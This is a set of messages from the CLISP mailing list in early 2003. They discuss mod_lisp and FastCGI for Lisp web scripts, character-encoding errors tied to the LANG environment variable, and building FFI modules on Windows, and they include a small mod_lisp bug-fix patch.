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> * In message <20030102194929.91006.qmail@web20417.mail.yahoo.com>
> * On the subject of "Re: [clisp-list] CLISP 2.29 for NetBSD/Alpha"
> * Sent on Thu, 2 Jan 2003 11:49:29 -0800 (PST)
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> So, I assume this build of CLISP is usable, right?

sure!

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  >> also w/ the mod_lisp approach I can't use it as a drop-in
  >> replacement for my scripts that write the response to the STDOUT
  >> stream as per CGI.

 > (let ((html (with-output-to-string (*standard-output*)
 >                 (my-old-script))))
 >     (send-data-to-mod-lisp html))

 > Wouldn't that work?

well, almost ... except that it's not always allowed in my case to
collect up the entire output before beginning to send back to the Web
client.  (I have some pages that need to begin producing displayed
output before the request is completely processed


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"John K. Hinsdale" <hin@alma.com> writes:

>   >> also w/ the mod_lisp approach I can't use it as a drop-in
>   >> replacement for my scripts that write the response to the STDOUT
>   >> stream as per CGI.
> 
>  > (let ((html (with-output-to-string (*standard-output*)
>  >                 (my-old-script))))
>  >     (send-data-to-mod-lisp html))
> 
>  > Wouldn't that work?
> 
> well, almost ... except that it's not always allowed in my case to
> collect up the entire output before beginning to send back to the Web
> client.  (I have some pages that need to begin producing displayed
> output before the request is completely processed

Hmm, that also rules out using mod_lisp's "Keep-Socket" feature which
is one of its highlights. You _must_ send a correct Content-Length
header before you send the body - kind of like HTTP/1.1 Keep-alive.

Cheers,
Edi.


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On 2 Jan 2003, Sam Steingold wrote:

> > * In message <Pine.LNX.4.21.0212270926590.19834-100000@crankshaft.bitmechanic.com>
> > * On the subject of "[clisp-list] find-package bug?"
> > * Sent on Fri, 27 Dec 2002 09:28:33 -0800 (PST)
> > * Honorable Peter Seibel <peter@javamonkey.com> writes:
> >
> > Hello. I was running some code in CLISP that I had previously
> > developed under another ACL and ran into this behavior which I think
> > is a bug: FIND-PACKAGE complains if its argument isn't a string.
> 
> this bug has been fixed on 2002-11-01.

Ah. Sorry. Thanks.

> please try CVS head.

Will do.

-Peter

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Edi Weitz wrote, quoting John K. Hinsdale:
>> well, almost ... except that it's not always allowed in my case to
>> collect up the entire output before beginning to send back to the Web
>> client.  (I have some pages that need to begin producing displayed
>> output before the request is completely processed

>Hmm, that also rules out using mod_lisp's "Keep-Socket" feature which
>is one of its highlights. You _must_ send a correct Content-Length
>header before you send the body - kind of like HTTP/1.1 Keep-alive.

What about the HTTP/1.1 chunked transfer encoding? Would that work with mod_lisp?
Or is that an enhancement request for Marc Battyani?

>>  > (let ((html (with-output-to-string (*standard-output*)
>>  >                 (my-old-script))))
>>  >     (send-data-to-mod-lisp html))
You could write a more complex with-output-to-mod-lisp using a generic or gray stream approach: *standard-output* bound to this stream object which would redirect to the mod_lisp socket as soon as output arrives (or better: in not too small chunks, e.g. 4KB pieces).

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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Edi Weitz wrote, quoting John K. Hinsdale:
> >> well, almost ... except that it's not always allowed in my case to
> >> collect up the entire output before beginning to send back to the Web
> >> client.  (I have some pages that need to begin producing displayed
> >> output before the request is completely processed
> 
> >Hmm, that also rules out using mod_lisp's "Keep-Socket" feature which
> >is one of its highlights. You _must_ send a correct Content-Length
> >header before you send the body - kind of like HTTP/1.1 Keep-alive.
> 
> What about the HTTP/1.1 chunked transfer encoding? Would that work with mod_lisp?

Currently not. I think it would be a good idea, though.

I have no idea how hard this would be to implement with the Apache C
API. Maybe I'll look into this by the end of this month.

Cheers,
Edi.

PS: BTW, for those of you who are using mod_lisp - there's a bug in
    how it handles the situation where the client has aborted the
    connection prematurely. Marc will have a new release online in the
    next days. Until then here's a patch:

edi@bird:/usr/local/build > diff -u mod_lisp.c.orig mod_lisp.c
--- mod_lisp.c.orig     Thu Jan  2 20:07:23 2003
+++ mod_lisp.c  Thu Jan  2 20:35:54 2003
@@ -487,13 +487,13 @@
 #endif
 }

-int ForceGets(char *s, BUFF *BuffSocket)
+int ForceGets(char *s, BUFF *BuffSocket, int len)
 {
   int ret, i;

   for (i =0; i < 10; i++)
     {
-      ret = ap_bgets(s, HEADER_STR_LEN,  BuffSocket);
+      ret = ap_bgets(s, len,  BuffSocket);
       if (ret > 0)
        return ret;
       ap_bsetflag(BuffSocket, B_RD, 1);
@@ -699,7 +699,7 @@
   /* Receive the response from Lisp */
   ap_hard_timeout("lisp-read", r);

-  while (ForceGets(Header, (BUFF *) BuffSocket) >= 0)
+  while (ForceGets(Header, (BUFF *) BuffSocket, HEADER_STR_LEN) >= 0)
     {
       int l;
      l = strlen(Header);
@@ -775,7 +775,12 @@
   /* Send headers and data collected (if this was not a "header only" req. */
   ap_send_http_header(r);
   if (!r->header_only && ContentLength > 0)
-    ap_send_fb_length(BuffSocket, r, ContentLength);
+    if (ap_send_fb_length(BuffSocket, r, ContentLength) < ContentLength || r->connection->aborted)
+      {
+        char buffer[HUGE_STRING_LEN];
+
+        while (ForceGets(buffer, (BUFF *) BuffSocket, HUGE_STRING_LEN)  > 0);
+      }

 #ifdef WIN32
   KeepSocket = 0;


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I'm a novice user of CLisp 2.30 on a Windows Me machine. I've got a file I'm
trying to load and I keep getting the following error:

handle_fault error2 ! address = (a different address each time).

I suspect that I might be running up against some memory limit becasue if I
comment out some of the variables I'm setting up the problem goes away. Can
anyone tell me what this error means?

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> * In message <000601c2b5cc$56efb0e0$0201010a@citlink.net>
> * On the subject of "[clisp-list] CLisp Novice Needs Help on Error Message"
> * Sent on Mon, 6 Jan 2003 16:41:15 -0500
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> handle_fault error2 ! address = (a different address each time).

this is a segmentation fault which means that you stumbled on a CLISP bug.

if you can isolate this bug so that I can reproduce it, we will try to
fix it.

beware that many bugs have been fixed since the last release, so you
would probably benefit from trying the CVS head (you will need to
compile it yourself though...)

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I can't reproduce it.

 Character #\u00B3 cannot be represented in the character set CHARSET:ASCII

I'm pretty sure I was running this:
(lisp-implementation-version)
"2.26.1 (released 2001-06-04) (built on host1 [10.0.1.2])"

(write-char #\u00B3) works.  Who decides that I want to represent
the character in ascii and how is it decided ?


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On Mon, 6 Jan 2003, Don Cohen wrote:

> Date: Mon, 6 Jan 2003 21:04:50 -0800
> From: Don Cohen <don-sourceforge@isis.cs3-inc.com>
> To: clisp-list@lists.sourceforge.net
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> 
> I can't reproduce it.
> 
>  Character #\u00B3 cannot be represented in the character set CHARSET:ASCII

That is caused by trying to do 8 bit I/O on text streams, but not
having your LANG environment set to some locale that has 8 bit
characters. ASCII has only 7 bits.



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Kaz Kylheku writes:

Character #\u00B3 cannot be represented in the character set CHARSET:ASCII

 > That is caused by trying to do 8 bit I/O on text streams, but not
 > having your LANG environment set to some locale that has 8 bit
 > characters. ASCII has only 7 bits.

Excellent, I expected something like that.
The reason I couldn't reproduce it was that
 $ echo $LANG
=>
 en_US

When I unset LANG I get it.

My problem started when I rebooted my machine (after close to a
year).  This ran my mail server (written in lisp).  Evidently 
rc.local runs in an environment without LANG set (or at least not
set to en_US), and this caused mail containing chars like #\u00B3 
to cause errors.  

Next question: what's the right solution to this sort of problem.
I'd like to be able to encapsulate all of the environment that
influences clisp so that I can expect the application to work
even when I move it to another environment.  Is there (a) a way
to generate all the environment variables that matter to a given
clisp image, (b) any way to remove such dependencies, (c) any way
to capture and preserve a given environment? 


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On Mon, Jan 06, 2003 at 09:39:55PM -0800, Don Cohen wrote:
> Next question: what's the right solution to this sort of problem.
> I'd like to be able to encapsulate all of the environment that
> influences clisp so that I can expect the application to work
> even when I move it to another environment.  Is there (a) a way
> to generate all the environment variables that matter to a given
> clisp image, (b) any way to remove such dependencies, (c) any way
> to capture and preserve a given environment? 

Check out daemontools:

    http://cr.yp.to/daemontools

Daemontools read environment variables from config files and supply them
to the processes it manages.

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Pheng Siong,

At 21:57 2003-01-06, Ng Pheng Siong wrote:
>On Mon, Jan 06, 2003 at 09:39:55PM -0800, Don Cohen wrote:
> > Next question: what's the right solution to this sort of problem.
> > I'd like to be able to encapsulate all of the environment that
> > influences clisp so that I can expect the application to work
> > even when I move it to another environment.  Is there (a) a way
> > to generate all the environment variables that matter to a given
> > clisp image, (b) any way to remove such dependencies, (c) any way
> > to capture and preserve a given environment?
>
>Check out daemontools:
>
>     http://cr.yp.to/daemontools

"access denied"

And that is the entirety of the response. Well, actually this is:

<html><body>access denied</body></html>


Randall Schulz


>Daemontools read environment variables from config files and supply them
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>
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On Mon, Jan 06, 2003 at 11:20:20PM -0800, Randall R Schulz wrote:
> >    http://cr.yp.to/daemontools
> "access denied"

Sorry, it should be

    http://cr.yp.to/daemontools.html


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At 23:20 2003-01-06, Randall R Schulz wrote:
>Pheng Siong,
>
>At 21:57 2003-01-06, Ng Pheng Siong wrote:
>>
>>Check out daemontools:
>>
>>     http://cr.yp.to/daemontools
>
>"access denied"
>
>And that is the entirety of the response. Well, actually this is:
>
>access denied


What I included in my email here was HTML, apparently stripped by the list 
server. It was something like this with the angle brackets from the 
original HTML replaced by curly braces:


{html}{body}access denied{/body}{/html}


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 > I have no idea how hard this would be to implement with the Apache C
 > API. Maybe I'll look into this by the end of this month.

hi edi,

Just a note of progress on my quest for faster Web CGIs written in
CLISP.  As an alternative to mod_lisp, or a native CLISP Apache
module, I'm checking out "FastCGI", a process model and API/protocol
for persistent "application servers" that run behind a Web server.
It's similar to mod_lisp -- a separate application server process, and
a proprietary protocol for multiplexing all the HTTP traffic over a
single socket or pipe.  However, FastCGI looks very stable, widely
supported (incl. Microsoft IIS, not that I would ever use that :) and
is language independent.

Only problem is that there is no implementation of the protocol for
Common Lisp (thougt they do have one for Guile Scheme (!)).  Ah, but
there is for "C" so all I would do is have to write a FFI wrapper,
which I'm getting pretty good at.  So next step is to run some tests
using its "C" API, and if I like what I see I'll wrap CLISP bindings
around it.

It appears that Apache modules are not *that* easy to write, and a lot
of the nitty gritties have been done (and redone) by many other
modules (e.g., mod_fastcgi) that it doesn't appear worthwhile to me to
try to make a native CLISP Apache module, e.g., "mod_clisp".  Nor,
with this approach, would it be necessary to extract the CLISP engine
so that it could be linked in and embedded in some other "C" program
-- what a relief :)

will keep you posted ...

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"John K. Hinsdale" <hin@alma.com> writes:

>  > I have no idea how hard this would be to implement with the
>  > Apache C API. Maybe I'll look into this by the end of this month.
> 
> hi edi,
> 
> Just a note of progress on my quest for faster Web CGIs written in
> CLISP.  As an alternative to mod_lisp, or a native CLISP Apache
> module, I'm checking out "FastCGI", a process model and API/protocol
> for persistent "application servers" that run behind a Web server.
> It's similar to mod_lisp -- a separate application server process,
> and a proprietary protocol for multiplexing all the HTTP traffic
> over a single socket or pipe.  However, FastCGI looks very stable,
> widely supported (incl. Microsoft IIS, not that I would ever use
> that :) and is language independent.
> 
> Only problem is that there is no implementation of the protocol for
> Common Lisp (thougt they do have one for Guile Scheme (!)).  Ah, but
> there is for "C" so all I would do is have to write a FFI wrapper,
> which I'm getting pretty good at.  So next step is to run some tests
> using its "C" API, and if I like what I see I'll wrap CLISP bindings
> around it.

Sounds like a worthwhile task although - if I had to choose - I'd
appreciate if you'd use UFFI... :)

> It appears that Apache modules are not *that* easy to write, and a
> lot of the nitty gritties have been done (and redone) by many other
> modules (e.g., mod_fastcgi) that it doesn't appear worthwhile to me
> to try to make a native CLISP Apache module, e.g., "mod_clisp".
> Nor, with this approach, would it be necessary to extract the CLISP
> engine so that it could be linked in and embedded in some other "C"
> program -- what a relief :)

Yep, Apache modules aren't trivial to do - although from the few small
ones I wrote I think that the Apache API is quite good. However, the
main drawback of something like mod_clisp would have been that you end
up with lots of different Lisp images as opposed to one image with
mod_lisp and also (?) with FastCGI.

Good luck and keep us posted.

Cheers,
Edi.


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 > Sounds like a worthwhile task although - if I had to choose - I'd
 > appreciate if you'd use UFFI... :)

OK, I'll check that out.  I thought UFFI didn't work in CLISP.  But if
it does then I'll use it, as I think that is more portable to other CL
implementations, no?

 > However, the main drawback of something like mod_clisp would have been
 > that you end up with lots of different Lisp images as opposed to one
 > image with mod_lisp

That is correct, it would have a separate CLISP image (run
environment) embedded into each Apache subprocess.  The advantage,
though is that I wouldn't have to rely on threading support in the CL
implementation, and also my application would not have to be
thread-safe.  For example, my very own Oracle interface to CLISP
caches connections in a global Lisp variable whose access is not
serialized across multiple threads in the Lisp program -- shame on me.
I suppose I should put a warning about that in the docs.

 > and also (?) with FastCGI.

It appears you can choose w/ FastCGI to have it manage its spawned
activities as separate processes or threads-in-a-process.  I'm going
to choose the former due to my two constraints above, but there is no
reason I won't be able to easily migrate to the latter someday.

FYI, I did some pre-tests on my regular CGI-based Oracle application
in CLISP.  I compared a CGI request with one database query against
another one that executed the same query over 100 times, and I've
found that when the fixed cost of initial overhead is subtracted out,
the "variable" cost of the request is only about one tenth of the
total.  I'm not sure how much of the initial overhead is CLISP
starting up, my stuff connecting to Oracle, or what.  But whatever it
is, this means that when I get a solution working that uses a
persistent CLISP process (and databse connections, etc.), I should
expect a ten-fold improvement in my response times.  So that is why
I'm keen on it.



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"John K. Hinsdale" <hin@alma.com> writes:

>  > Sounds like a worthwhile task although - if I had to choose - I'd
>  > appreciate if you'd use UFFI... :)
> 
> OK, I'll check that out.  I thought UFFI didn't work in CLISP.  But
> if it does then I'll use it, as I think that is more portable to
> other CL implementations, no?

No, AFAIK it doesn't work with CLISP (yet) - that's why I put the
smiley there. But maybe FastCGI bindings based on UFFI would be
another incentive to make CLISP and UFFI work together... :)

Cheers,
Edi.


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> * In message <87vg11oyjt.fsf@bird.agharta.de>
> * On the subject of "Re: [clisp-list] Re: CLISP Apache module"
> * Sent on 07 Jan 2003 14:54:30 +0100
> * Honorable Edi Weitz <edi@agharta.de> writes:
>
> "John K. Hinsdale" <hin@alma.com> writes:
> 
> >  > Sounds like a worthwhile task although - if I had to choose - I'd
> >  > appreciate if you'd use UFFI... :)
> > 
> > OK, I'll check that out.  I thought UFFI didn't work in CLISP.  But
> > if it does then I'll use it, as I think that is more portable to
> > other CL implementations, no?
> 
> No, AFAIK it doesn't work with CLISP (yet) - that's why I put the
> smiley there. But maybe FastCGI bindings based on UFFI would be
> another incentive to make CLISP and UFFI work together... :)

we do not need an incentive. what we do need is a volunteer. :-(

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> * In message <200301070504.h0754od08073@isis.cs3-inc.com>
> * On the subject of "[clisp-list] what causes this error ?"
> * Sent on Mon, 6 Jan 2003 21:04:50 -0800
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>
> I can't reproduce it.
> 
>  Character #\u00B3 cannot be represented in the character set CHARSET:ASCII

<http://clisp.cons.org/faq.html#enc-err>

> I'm pretty sure I was running this:
> (lisp-implementation-version)
> "2.26.1 (released 2001-06-04) (built on host1 [10.0.1.2])"

18 months old.  yuk.

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> > * In message <200301070504.h0754od08073@isis.cs3-inc.com>
> > * On the subject of "[clisp-list] what causes this error ?"
> > * Sent on Mon, 6 Jan 2003 21:04:50 -0800
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> <http://clisp.cons.org/faq.html#enc-err>

I want $20 for each question that I answer with a URL pointing to the
CLISP documentation :-)
On the second thought, if the pointer is to the FAQ, I want $50. :-)

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I think this is a serious issue.  The daemontools do provide a way
to control the environment.  What's still missing is a way to find
out what needs to be controlled, or, better yet, to eliminate these
dependencies.

Some initial ideas:
- There should be a global variable containing a list of strings,
which are the names of environment variables used by the distributed
code.
- The distributed code should record in another global variable
the set of values it has read (and is now using) for environment
variables.
- The distributed code should use that variable as a cache and avoid
reading the same variable from the environment twice.
- There should be a setf method for CHANGING the value being used
(or setting a value not yet used).

I hope the first one at least is relatively easy to provide.
That would at least allow me to build something that I'd expect
to work in another environment.
Does anyone know how to find out what environment a clisp version
uses?



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> * In message <15899.3694.903770.954351@isis.cs3-inc.com>
> * On the subject of "environment dependencies"
> * Sent on Tue, 7 Jan 2003 09:29:18 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
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> - There should be a global variable containing a list of strings,
> which are the names of environment variables used by the distributed
> code.

what is distributed code?

> - The distributed code should record in another global variable
> the set of values it has read (and is now using) for environment
> variables.
> - The distributed code should use that variable as a cache and avoid
> reading the same variable from the environment twice.

getenv is cheaper than the cache.

> - There should be a setf method for CHANGING the value being used
> (or setting a value not yet used).

in CLISP, GETENV is SETF-able.

> I hope the first one at least is relatively easy to provide.

I am not sure whether we really need that.

> That would at least allow me to build something that I'd expect
> to work in another environment.

Just pass -E utf-8 and all those encodings will use unicode.
the other environment variables should not matter for batch processing.

alternatively, you can set the -encoding* places in ~/.clisprc
alternatively, you can make the init function of your image set them

> Does anyone know how to find out what environment a clisp version
> uses?

search the manual and the impnotes for "environment var" or
search the sources for getenv.

in general, you can find out what libc calls are performed using ltrace(1).

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* "John K. Hinsdale" <hin@alma.com>:

> and is language independent.

mod_lisp is too, as far as I can tell, it's just called mod_lisp
because the author uses it with Lisp.

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Don,

I understand your concern about being reliably able to start a program in a possibly different environment and still have it work as expected.

However I think the solution can only come from
- knowing which dependencies on the environment exist.

IMHO, this ought to be achieved by solely reading the documentation. It should not be achieved by tracing at run-time.
Remember: a trace is a *single* test - One shot. As opposed to static information, like documentation, which instead covers all possible runs, all imaginable traces.

clisp.html already mentions all internal getenv usage. Is something missing?

Some environment dependencies are more complex than getenv() can tell:
o E.g. is stdin/fd0 a (pseudo-)tty or a file? -> *standard-input* is bound to different stream types with different properties.
o Same for stdout/2
o Is CLISP started as a script (the #! and *args* features) or not?
- Some people have reported in clisp-list having been hit by this.


>- There should be a global variable containing a list of [...]
> environment variables used by the distributed code.
This could be achieved using a wrapper around getenv().
But it looks like one should run trace/truss/ltrace instead of implementing this in Lisp. With the ability to restart from images, it becomes a complex dependency maintenance project ("was this value used for values not in the current image?").


>- The distributed code should record in another global variable
>the set of values it has read (and is now using) for environment
>variables.
Considering restarting from images, I believe getenv() should not show functional behaviour. It ought to return the current value.

>- The distributed code should use that variable as a cache and avoid
>reading the same variable from the environment twice.
This is specifically against the idea behind -E information not being looked up in e.g. the image file: the current environment may be different from the one where the image was saved. Bruno Haible thought CLISP should always adapt to the current environment. Similarly, the exact nature of (the value of) *terminal-io* is derived from current environment (pseudo-tty or file).


>- There should be a setf method for CHANGING the value being used
>(or setting a value not yet used).
This may not be achievable in general. Sometimes a setting cannot be changed at arbitrary times (NLS directories come to mind) and you need special code to add this feature. When is it worth it?
E.g. some time ago, -L was a startup option. Now the language can be changed at run-time. Valuable or superfluous? People's and YMMV.


BTW, faq.html says:
"This means that you are trying to read a non-ASCII character from a stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is described in The Fine Manual."
Maybe it could say:
... or that the interactive read eval print loop (REPL) is trying to print this character as the result of the evaluation to your terminal and finds that *standard-output* has this ASCII STREAM-EXTERNAL-FORMAT. See the Fine Manual [specific URL to -E section]."

Just my thoughts,
	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FEECD985@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] environment dependencies"
> * Sent on Wed, 8 Jan 2003 13:13:08 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> BTW, faq.html says:
> "This means that you are trying to read a non-ASCII character from a
> stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is
> described in The Fine Manual."
> Maybe it could say:
> ... or that the interactive read eval print loop (REPL) is trying to
> print this character as the result of the evaluation to your terminal
> and finds that *standard-output* has this ASCII
> STREAM-EXTERNAL-FORMAT. See the Fine Manual [specific URL to -E
> section]."

it does point to that specific section.

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Edi Weitz <edi@agharta.de> writes:

> Hmm, that also rules out using mod_lisp's "Keep-Socket" feature
> which is one of its highlights. You _must_ send a correct
> Content-Length header before you send the body - kind of like
> HTTP/1.1 Keep-alive.

For the sake of completeness let me add that in 2.31 beta Marc has
re-introduced the feature that you can "stream" your content to
mod_lisp without the need of a correct Content-Length header. As I
said, you can't re-use the Lisp/Apache socket this way (that'll need
something more sophisticated as outlined by J=F6rg) but at least it is
possible again. It wasn't in the latest released version (2.2).

Cheers.
Edi.


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(as usual, answering multiple messages at once)

Hoehle, Joerg-Cyril:

 > clisp.html already mentions all internal getenv usage. Is something missing?

I did eventually run across this.  Thanks.

 > IMHO, this ought to be achieved by solely reading the documentation

If this is unlikely to change then I suppose that's not bad.
I was suggesting something in the image so you could write a program 
that would capture the relevant environment.  You'd run that as part
of your build process.  Building in different lisp versions might 
give different environment variables.

   It should not be achieved by tracing at run-time. 
 > Remember: a trace is a *single* test - One shot. As opposed to
   static information, like documentation, which instead covers all
   possible runs, all imaginable traces. 

I agree.  I was not proposing that this info be determined by tracing.
I was more interested in a code analysis approach, for instance if
someone happens to know that clisp accesses environment only via
one particular function call.

 > Some environment dependencies are more complex than getenv() can tell:
 > o E.g. is stdin/fd0 a (pseudo-)tty or a file? -> *standard-input*
   is bound to different stream types with different properties. 
 > o Same for stdout/2
 > o Is CLISP started as a script (the #! and *args* features) or not?
 > - Some people have reported in clisp-list having been hit by this.
Very good points.
I'd like to see all these collected into one place.
That place should also say what the values are in those cases,
and perhaps how to test which case you're in.

  With the ability to restart from images, it becomes a complex
  dependency maintenance project ("was this value used for values not
  in the current image?").  

This raises another point.  I'd really like to know which environment
retains its effect across saves and which is reread at restart.

 > Considering restarting from images, I believe getenv() should not
   show functional behaviour. It ought to return the current value. 

Surely some of this is cached anyhow.  You don't look up LANG on every
write-char.  Maybe not on every open.  If the env is going to change
while you're running it would be worth while to know when it's reread.

I agree that you do have to reset some stuff at restart.  I'd like
to know what it is and what's read after that (and when).

 > BTW, faq.html says:
 > "This means that you are trying to read a non-ASCII character from
   a stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is
   described in The Fine Manual." 

Actually I searched for "character" in impnotes and did not find
anything relevant.  I see that the relevant faq entry does contain the
word character, but it still doesn't answer my question.  The answer,
which I propose to add to FAQ is that ascii is used when LANG is unset.
I also suggest quoting this error message in addition to "invalid byte"
Character #\u00B3 cannot be represented in the character set CHARSET:ASCII


Sam Steingold:
 > > - There should be a global variable containing a list of strings,
 > > which are the names of environment variables used by the distributed
 > > code.
 > 
 > what is distributed code?
What I had in mind was that the modules go into the build should
know what environment they use and when the build finishes you should 
end up with an image that puts these all into a list.

 > Just pass -E utf-8 and all those encodings will use unicode.
 > the other environment variables should not matter for batch processing.
 > 
 > alternatively, you can set the -encoding* places in ~/.clisprc
 > alternatively, you can make the init function of your image set them

Ah, the answers!  Even better than setting env.
Put that in FAQ too.
(now rushing off to try them ...)


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> * In message <15900.37174.958461.521299@isis.cs3-inc.com>
> * On the subject of "[clisp-list] Re: environment dependencies"
> * Sent on Wed, 8 Jan 2003 12:59:34 -0800
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>
> I'd really like to know which environment retains its effect across
> saves

none.

>  > Considering restarting from images, I believe getenv() should not
>    show functional behaviour. It ought to return the current value.
> 
> Surely some of this is cached anyhow.

environment is used to initialize some places, like -encoding*.

>  > Just pass -E utf-8 and all those encodings will use unicode.
>  > the other environment variables should not matter for batch processing.
>  > 
>  > alternatively, you can set the -encoding* places in ~/.clisprc
>  > alternatively, you can make the init function of your image set them
> 
> Ah, the answers!  Even better than setting env.
> Put that in FAQ too.

FAQ already contains this information in the form of references to the
relevant parts of the manual and the impnotes.

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> * In message <15900.51013.596959.366600@isis.cs3-inc.com>
> * On the subject of "clisp -E "
> * Sent on Wed, 8 Jan 2003 16:50:13 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
> Looks like the help msg knows about -E but the command line parser
> doesn't.  Is this something that was not working 18 months ago?

this feature (-E encoding) was introduced on 2002-03-18.
-Edomain encoding has been there longer.
(domain = file, terminal &c)

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Date: Thu Jan  9 04:45:02 2003
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hello,

i read the documentation for the:
Extensions-2.3. The Foreign Function Call Facility
which states that a foreign function description has to be compiled with
clisp and then compiled and linked against lisp.a. which file is the
equivalent file of lisp.a on a windows system?

when i look into the msvc makefile i find the line:
modular : lisp.a avcall.lib callback.lib  clisp-link linkkit modules.h
modules.o makevars

but there is no description on how to build lisp.a (which should be lisp.lib
anyway).

a little hello world example would be really helpful to understand the ffi
in clisp under windows.

many thanks for any hints!!




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Hi,

Christian Schuhegger
>Extensions-2.3. The Foreign Function Call Facility
>which states that a foreign function description has to be=20
>compiled with
>clisp and then compiled and linked against lisp.a. which file is the
>equivalent file of lisp.a on a windows system?

You don't need a lisp.a. What I regularly do is add to the msvc =
makefile a section like this:

################################ Joerg's gdi playground
GDIOBJECT =3D H:\Code\gdi\gdi.obj
lispg.exe : $(GDIOBJECT) $(REGEXDYNMODOBJECTS) $(OBJECTS) modules.obj =
avcall.lib callback.lib iconv.lib sigsegv.lib data
	$(RM) lisp.ilk
	$(CC) $(CFLAGS) $(CLFLAGS) $(GDIOBJECT) $(REGEXDYNMODOBJECTS) =
$(OBJECTS) modules.obj gdi32.lib $(LIBS) /link /out:lispg.exe
	editbin /stack:3145728 lispg.exe
################################

In other words, I modify the lisp.exe dependency and add some object =
files.

Of course, you must add one line defining your module to modules.h and =
regenerate modules.obj

Building lisp.a is a waste of space when you build CLISP yourself: It =
just contains all the .obj again. It would be of some use for binary =
distributions, allowing people to add modules without needing all the =
CLISP sources. Who needs/wants that?

>a little hello world example would be really helpful to=20
>understand the ffi in clisp under windows.
I'll send you my MS-Word (can you read that?) text on building modules =
with CLISP.

Regards,
	J=F6rg H=F6hle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FEECDC2C@G8PQD.blf01.telekom.de>
> * On the subject of "ffi under windows msvc6"
> * Sent on Thu, 9 Jan 2003 15:02:54 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >a little hello world example would be really helpful to 
> >understand the ffi in clisp under windows.
> I'll send you my MS-Word (can you read that?) text on building modules
> with CLISP.

it would be nice if you could produce a version that could be put on
the CLISP web site.

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 > From: Edi Weitz <edi@agharta.de>
 > Date: 07 Jan 2003 14:28:41 +0100

 > Yep, Apache modules aren't trivial to do - although from the few small
 > ones I wrote I think that the Apache API is quite good. However, the
 > main drawback of something like mod_clisp would have been that you end
 > up with lots of different Lisp images as opposed to one image with
 > mod_lisp and also (?) with FastCGI.

Hi all, following up on integrating CLISP w/ Apache, I've had
excellent results using the "FastCGI" library to speed up my
CLISP-based web scripts.  I'm convinced this is a much better way to
go than writing a native Apache module just for CLISP, as the latter
would have involved re-inventing a lot of functionality already
developed and debugged by FastCGI developers over the last 5 to 6
years.

I ended up writing a CLISP FFI wrapper (sorry, no UFFI) around
FastCGI's "C" interface, and using that as a drop-in CGI replacement.
It works great.  Benchmarks show that, for my application, average
turnaround time to the Web browser has been reduced from 0.96 seconds
to 0.11 seconds, or about 8.7 times faster.  For an interactive
database-driven Web site doing queries w/ each click of the mouse, the
difference b/w a delay of 1 sec and 0.1 sec is quite noticable, and is
essentially the difference b/w a "fast" site and "slow" site.

I've GPL'd, documented and packaged up the module so it can be used by
others.  It can be downloaded at http://clisp.alma.com ...  My module
would appear to be the first Common Lisp implementation of FastCGI,
which already has interfaces for C, C++, Guile Scheme, Goanna Eiffel,
SmallEiffel, Java, Perl, Python, and Smalltalk.  A bit late to the
party, eh :)

I invite anyone using CLISP for Web CGIs to use this library and give
some feedback as to how much faster it makes things.  I'll help you
get it working.

For those wondering what happened w/ my efforts to use mod_lisp, I
found FastCGI a better choice for my particular purposes and
environment (CLISP), after considering a whole mosaic of issues.  Here
is a re-cap of my situation as to whether to use FastCGI vs. mod_lisp:

mod_lisp pros & cons (for ME, YMMV)

  PRO: uses native O/S multi-threading; more efficient concurrency
  CON: one's code must be thread safe (but mine's not)
  CON: thread support required in CL implementation (CLISP has not)
  PRO: uses one Lisp image, sharing memory
  CON: requires one to implement his own pooling of any resources not
       managed by mod_lisp (e.g., database connections)
  CON: requires one to manage separate process for application
       servers handling restart separately from Web server (this
       could be a PRO depending on who you are)
  CON: Need separate programs to use as plain old CGI (e.g., for
       interactive development) vs. in application server mode.
       This is not so huge an issue.
       
CLISP+FastCGI pros & cons (for ME, YMMV)

  CON: forks separate O/S processes for each thread, less efficient
       in highly concurrent environment (but mine's not)
  PRO: code need not be thread safe (and mine's not)
  PRO: no requirement for threads, so works with CLISP
  CON: separate CLISP images, sucking memory
  PRO: pooling of any resources cached globally in Lisp (e.g.,
       my database connections, query results) is handled automatically
       by FastCGI library
  PRO: application processes are spawned and killed off
       automatically by the Web server; restart of Web
       server also restarts application server(s).  Could
       be a CON depending on who you are
  PRO: exact same program can be use in CGI mode vs. FastCGI
       mode.  Useful to run as CGI when developing as new
       process is created every time and code changes
       are reflected immediately. This is not so huge an
       issue.

There were three FastCGI "pro's" which, for me, would in and of
themselves have tipped the scale: the "works w/ CLISP", "don't need
thread safe code" and "don't have to write one's own pool" issues.

---
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> * In message <200301091516.h09FGlQn017645@van-halen.alma.com>
> * On the subject of "[clisp-list] FastCGI working; library available (was: Re: CLISP Apache module)"
> * Sent on Thu, 9 Jan 2003 10:16:47 -0500
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> I've GPL'd, documented and packaged up the module so it can be used by
> others.

Great news!

> It can be downloaded at http://clisp.alma.com ...

would you like to have your module distributed with CLISP?
please put it into the CVS!

It would also be nice if you wrote a manual for both this and your
oracle module (preferably in DocBook/XML format, please see
modules/regexp/regexp.xml for an example.)

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 > would you like to have your module distributed with CLISP?
 > please put it into the CVS!

ok, done.

 > It would also be nice if you wrote a manual for both this and your
 > oracle module (preferably in DocBook/XML format, please see
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OK I'll try to come up with some more "professional" than just those
README's.



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> ok, done.

don't forget to update src/NEWS and src/ChangeLog

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 > From: "John K. Hinsdale" <hin@alma.com>

 > My module would appear to be the first Common Lisp implementation
 > of FastCGI, which already has interfaces for C, C++, Guile Scheme,
 > Goanna Eiffel, SmallEiffel, Java, Perl, Python, and Smalltalk.

Quick note of correction: the above is not true.  Teemu Kalvas has
written a Common Lisp FastCGI library and server for CMUCL, at:

   http://www.s2.org/~chery/projects/fastcgi-cmucl

This is different from my CLISP binding (and for the bindings to many
of the other languages that support FastCGI) in that instead of being
just wrappers that call the original FastCGI "C" library, c.a., 1995,
